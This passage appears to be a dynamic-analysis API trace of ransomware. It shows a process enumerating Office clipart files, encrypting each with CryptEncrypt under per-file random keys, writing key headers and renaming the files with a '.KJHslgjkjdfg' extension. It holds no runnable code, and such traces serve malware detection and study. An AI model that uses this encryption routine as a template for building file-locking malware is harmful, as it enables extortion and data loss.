[0194.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.608] SetEndOfFile (hFile=0x130) returned 1 [0194.610] GetProcessHeap () returned 0x2ef0000 [0194.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.610] GetProcessHeap () returned 0x2ef0000 [0194.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.kjhslgjkjdfg")) returned 1 [0194.611] CloseHandle (hObject=0x130) returned 1 [0194.611] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0194.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.612] GetProcessHeap () returned 0x2ef0000 [0194.613] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.613] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.613] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0194.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.615] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.615] GetProcessHeap () returned 0x2ef0000 [0194.615] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.615] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.615] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.615] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.615] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa82, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa82, lpOverlapped=0x0) returned 1 [0194.616] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa90, dwBufLen=0xa90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa90) returned 1 [0194.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.616] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa90, lpOverlapped=0x0) returned 1 [0194.616] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.616] SetEndOfFile (hFile=0x130) returned 1 [0194.617] GetProcessHeap () returned 0x2ef0000 [0194.617] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.617] GetProcessHeap () returned 0x2ef0000 [0194.617] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.kjhslgjkjdfg")) returned 1 [0194.618] CloseHandle (hObject=0x130) returned 1 [0194.618] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0194.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.631] GetProcessHeap () returned 0x2ef0000 [0194.631] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.631] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.632] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.632] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.632] GetProcessHeap () returned 0x2ef0000 [0194.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.632] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.632] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.632] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.637] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.637] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.637] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.637] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.637] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.637] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.637] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb10, lpOverlapped=0x0) returned 1 [0194.637] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb10, dwBufLen=0xb10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb10) returned 1 [0194.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.637] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb10, lpOverlapped=0x0) returned 1 [0194.637] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.637] SetEndOfFile (hFile=0x130) returned 1 [0194.640] GetProcessHeap () returned 0x2ef0000 [0194.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.640] GetProcessHeap () returned 0x2ef0000 [0194.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.kjhslgjkjdfg")) returned 1 [0194.641] CloseHandle (hObject=0x130) returned 1 [0194.641] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0194.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.641] GetProcessHeap () returned 0x2ef0000 [0194.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.641] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.641] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.643] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.643] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.644] GetProcessHeap () returned 0x2ef0000 [0194.644] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.644] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.644] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.644] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.644] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.644] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.644] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.644] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9456, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9456, lpOverlapped=0x0) returned 1 [0194.645] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9460, dwBufLen=0x9460 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9460) returned 1 [0194.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.646] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9460, lpOverlapped=0x0) returned 1 [0194.646] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.646] SetEndOfFile (hFile=0x130) returned 1 [0194.648] GetProcessHeap () returned 0x2ef0000 [0194.648] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.648] GetProcessHeap () returned 0x2ef0000 [0194.649] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.kjhslgjkjdfg")) returned 1 [0194.650] CloseHandle (hObject=0x130) returned 1 [0194.650] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0194.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.650] GetProcessHeap () returned 0x2ef0000 [0194.650] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.650] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.650] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0194.652] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.652] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.652] GetProcessHeap () returned 0x2ef0000 [0194.652] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.652] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.652] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.653] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.653] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.653] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.653] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.653] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.653] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.653] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.653] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9c5e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9c5e, lpOverlapped=0x0) returned 1 [0194.654] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c60, dwBufLen=0x9c60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c60) returned 1 [0194.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.655] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9c60, lpOverlapped=0x0) returned 1 [0194.655] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.655] SetEndOfFile (hFile=0x130) returned 1 [0194.658] GetProcessHeap () returned 0x2ef0000 [0194.658] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.658] GetProcessHeap () returned 0x2ef0000 [0194.658] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.kjhslgjkjdfg")) returned 1 [0194.659] CloseHandle (hObject=0x130) returned 1 [0194.659] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, 